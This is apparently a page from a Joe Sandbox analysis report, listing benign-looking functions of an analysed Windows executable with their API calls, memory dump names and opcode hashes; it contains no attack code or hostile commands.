APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000D3D2A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 000D3D35

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 061a54e0c2af7a5b666605310e7e514339808cf6f4195d3465b1d955c8ed6c24
Instruction ID: 9411210d6991202dad4c820c86e79dc57fdb249e496781d893e0f708fa31f107
Opcode Fuzzy Hash: 061a54e0c2af7a5b666605310e7e514339808cf6f4195d3465b1d955c8ed6c24
Instruction Fuzzy Hash: ABD0A92A80870415DC2826B478020EA338AAB12BB1BA02697E020CA7C3EB209600A933

Function 000B12D1 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 000B12E6
ShowWindow.USER32(00000000), ref: 000B12ED

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: b2ddc7c4fa45dfff79bd9be625c085d2c9fb3245ddf550e14d495a373862130d
Instruction ID: f4863d4751062b4aa5420fb41168a681f9bcb08f5edc0649867b333538bb9f7f
Opcode Fuzzy Hash: b2ddc7c4fa45dfff79bd9be625c085d2c9fb3245ddf550e14d495a373862130d
Instruction Fuzzy Hash: 41C01232098A00FECB020BB0DE09E6ABBAAABE4212F10CA08F0A6C1060C239C050DB11

Function 000B1AD3 Relevance: 1.8, APIs: 1, Instructions: 319COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B1AD8

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ed1add446042968dc21cf01dc8f1ed31b856f45c304a2704f84c54db39dc5572
Instruction ID: 7448d913845818964280da2da2b0ef2f4362b3f97aea45a2f58c4a74fd5a5f56
Opcode Fuzzy Hash: ed1add446042968dc21cf01dc8f1ed31b856f45c304a2704f84c54db39dc5572
Instruction Fuzzy Hash: 47C18131A002549BDF65CF28C8E47ED7BE5AF4A710F9801BAEC059F396C7359A44CB61

Function 000B90A2 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B90A7

Part of subcall function 000B13F8: __EH_prolog.LIBCMT ref: 000B13FD

Part of subcall function 000B2032: __EH_prolog.LIBCMT ref: 000B2037

Part of subcall function 000BB966: FindClose.KERNEL32(00000000,000000FF,?,?), ref: 000BB991

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: d12b183de52ae237284a67d5be984bafd8406d18cad822835834c8d6399c7e75
Instruction ID: 71527d8b1baa5f0dd3b1c2a03604943401db212c0203dec59cb22bb05836ca07
Opcode Fuzzy Hash: d12b183de52ae237284a67d5be984bafd8406d18cad822835834c8d6399c7e75
Instruction Fuzzy Hash: EA419671D04214AEDB24EB64CCA5BEA77B9AF10340F4404EAF64AA7083DBB55F89DF11

Function 000B13FD Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B13FD

Part of subcall function 000B6891: __EH_prolog.LIBCMT ref: 000B6896

Part of subcall function 000BE298: __EH_prolog.LIBCMT ref: 000BE29D

Part of subcall function 000B644D: __EH_prolog.LIBCMT ref: 000B6452

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c9a9b0b06f7bf94bc6d81c0303fe2a10e5852663a4bbc97055d14dfa40b55866
Instruction ID: fd0e6ad78bee0509f54da3275f4f32c54eae3bc66e63fc0e7e65e63ad875153b
Opcode Fuzzy Hash: c9a9b0b06f7bf94bc6d81c0303fe2a10e5852663a4bbc97055d14dfa40b55866
Instruction Fuzzy Hash: 805147B1A0A3808ECB14DF6994802D9BBE5AF59300F0802BEEC5DCF79BD7755214CB62

Function 000B13F8 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B13FD

Part of subcall function 000B6891: __EH_prolog.LIBCMT ref: 000B6896

Part of subcall function 000BE298: __EH_prolog.LIBCMT ref: 000BE29D

Part of subcall function 000B644D: __EH_prolog.LIBCMT ref: 000B6452

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d93b8ac286b1cb264e62f21a9632425e784163e9e79be9cf94d3c6b7287f09b
Instruction ID: 68cc23ab72082f1db021207b9cf0425e18dcac47fcf6f65ce6d24fce4aefabe0
Opcode Fuzzy Hash: 2d93b8ac286b1cb264e62f21a9632425e784163e9e79be9cf94d3c6b7287f09b
Instruction Fuzzy Hash: 985137B190A3808EDB14DF6994802D9BBE5BF59300F0802BEEC5DDF68BD7755214CB62

Function 000C479D Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000C47A2

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 18b44ef3aafc6c4d58ebc82bf42ea41b2ba8330ffb6f8dc1556e9fa6719d5096
Instruction ID: 0f414038cf86df210e8d465ed801d031f9e349276ed7810d91cc8c347b84130b
Opcode Fuzzy Hash: 18b44ef3aafc6c4d58ebc82bf42ea41b2ba8330ffb6f8dc1556e9fa6719d5096
Instruction Fuzzy Hash: 5121B9B5E40715AFDB14DF74CC52BAE7AA8FF14314F00453EE605EB682D774990086A9

Function 000CC207 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000CC20C

Part of subcall function 000B13F8: __EH_prolog.LIBCMT ref: 000B13FD

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: f3689ca2e0e90d32448c58402ad199024d5897693851a90e7fecc8f272bdcdbb
Instruction ID: 252e6c461ef4d2e04a9ff4b55bb34b94c6c69ce39eb378d7efce0d3f38707a65
Opcode Fuzzy Hash: f3689ca2e0e90d32448c58402ad199024d5897693851a90e7fecc8f272bdcdbb
Instruction Fuzzy Hash: 7E214C71C04219AFDF25DF98D851EEEBBB4AF45304F0004AEE80AB7242E7756A45DB61

Function 000B8823 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B8828

Part of subcall function 000BE298: __EH_prolog.LIBCMT ref: 000BE29D

Part of subcall function 000C33D4: __EH_prolog.LIBCMT ref: 000C33D9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 109ff24139cb342488cccc75f0031791979146f3d4b8cff9aafbd76daf11cc85
Instruction ID: a07b1997caf981dc65509a618558e2e7d2534e09925ae4ab07957b15f7cf4dc8
Opcode Fuzzy Hash: 109ff24139cb342488cccc75f0031791979146f3d4b8cff9aafbd76daf11cc85
Instruction Fuzzy Hash: CD210CB0A007449FD724DF6AC4856DBFBE5BF28300F40892EE59E93652D774A644CB91

Function 000BE298 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000BE29D

Part of subcall function 000B6891: __EH_prolog.LIBCMT ref: 000B6896

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c08e0d1ce0317a59df2ff27088270f0f1faeb895c3819333dde910f065bdb36f
Instruction ID: 6679c5d4cdacfa61e6f1adc81045d7bd1c24f4597d3f2e685e63f65868b29db4
Opcode Fuzzy Hash: c08e0d1ce0317a59df2ff27088270f0f1faeb895c3819333dde910f065bdb36f
Instruction Fuzzy Hash: 32117371A042849ADB25E7B9D5467EEBAE8AF84300F14446DA446D3383DF789A04C761

Function 000CEB92 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000CEB97

Part of subcall function 000C197C: _wcslen.LIBCMT ref: 000C1992

Part of subcall function 000B8823: __EH_prolog.LIBCMT ref: 000B8828

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 71919c85323d2703cefc554b4b33d85e1ba46c808c166b24db4b054185a44669
Instruction ID: de3f0f0113b131252c7bf06e2d00d83a2fe2f1ec626e59e97728b3c1ef2526bf
Opcode Fuzzy Hash: 71919c85323d2703cefc554b4b33d85e1ba46c808c166b24db4b054185a44669
Instruction Fuzzy Hash: 9811C471608284DED715EB68EC06BDD7FA4EB15320F00806EF188936A3DBF51684CBA2

Function 000DD629 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 000DC2E6: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,000DA533,00000001,00000364,?,000D53ED,?,?,000F30C4), ref: 000DC327

_free.LIBCMT ref: 000DD695

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction ID: 7ad0865356296a408819772b0324a42a23b52c4df21efdf044e7cec0e0542964
Opcode Fuzzy Hash: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction Fuzzy Hash: 2B01D672204305ABE3218E65984599AFBDDEB99370F25051FE59893380EA30A805CA78

Function 000DC2E6 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,000DA533,00000001,00000364,?,000D53ED,?,?,000F30C4), ref: 000DC327

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 29b0a11800bd70c15b8245bfec7581d5c6f38448b22b25d48eb4ed46fb8b583c
Instruction ID: 8218433e9bc347ec2ae89566a6924ae77e6f768f532179fdfbe47c2e38ce52bb
Opcode Fuzzy Hash: 29b0a11800bd70c15b8245bfec7581d5c6f38448b22b25d48eb4ed46fb8b583c
Instruction Fuzzy Hash: C1F0B431604326A6FB751A269C45E9A37989F81B60B14C023F804E63A1DA20DA01D6B1

Function 000B644D Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 000B6452

Part of subcall function 000C04E5: __EH_prolog.LIBCMT ref: 000C04EA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8927fc1b09e7777eb206680d5c0ecf98d29f9cebe0dfbb870fbb659b55ede198
Instruction ID: ec5128284ccb52a3c917dffc889741889af5264c1ef48fbeff0f144ebac34082
Opcode Fuzzy Hash: 8927fc1b09e7777eb206680d5c0ecf98d29f9cebe0dfbb870fbb659b55ede198
Instruction Fuzzy Hash: C7018870800745DAD716EBA8C062BEEFBE4EF62300F10454FE06A63293CBB42B04C762

Function 000DA7EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,000D5584,?,0000015D,?,?,?,?,000D6A60,000000FF,00000000,?,?), ref: 000DA820

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 8ec7b1749386737aa00ef4866b7d0829dc6399af7a8ad3c00de2b56e5676a8cf
Instruction ID: 0f58f23c529bafee05e754082a1308dbde8585f86335149422294467cc92d636
Opcode Fuzzy Hash: 8ec7b1749386737aa00ef4866b7d0829dc6399af7a8ad3c00de2b56e5676a8cf
Instruction Fuzzy Hash: C9E03931700321A6EA712A65AC05BAB3A89DF47BB0B154123EC0596392DF64CC03A6FB

Function 000BB966 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 000BBA94: FindFirstFileW.KERNEL32(?,?,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBABD
Part of subcall function 000BBA94: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBAEB
Part of subcall function 000BBA94: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,000BB98B,000000FF,?,?), ref: 000BBAF7

FindClose.KERNEL32(00000000,000000FF,?,?), ref: 000BB991

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 38a6bfb92d08522d838d4580d8849c7089d92997e53394a0fa21ef2aa3e77789
Instruction ID: 795eae65a517ea739f4485f4d96c21efd93d8b6df1f3714b272a402bec9ac5d6
Opcode Fuzzy Hash: 38a6bfb92d08522d838d4580d8849c7089d92997e53394a0fa21ef2aa3e77789
Instruction Fuzzy Hash: BDF08232008790ABCA721BB848047CBBFD09F16335F048A49F2FE122D3C3B450959722

Function 000C2121 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 000C2156

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 74f542093a7c33f3e6b9f8e53d8c3e534ccdc8a7fd75b693c24611a088637ce7
Instruction ID: 0d18e5cdcd4fadc54dfe708d74025718a38aa2017110eef7c6113e0fbd97d6ff
Opcode Fuzzy Hash: 74f542093a7c33f3e6b9f8e53d8c3e534ccdc8a7fd75b693c24611a088637ce7
Instruction Fuzzy Hash: 28D05B1571405052EA65377C6855FFD1B465FD2324F0C00BFB70D679D38F680987A2B1

Function 000CB626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 000CB62C

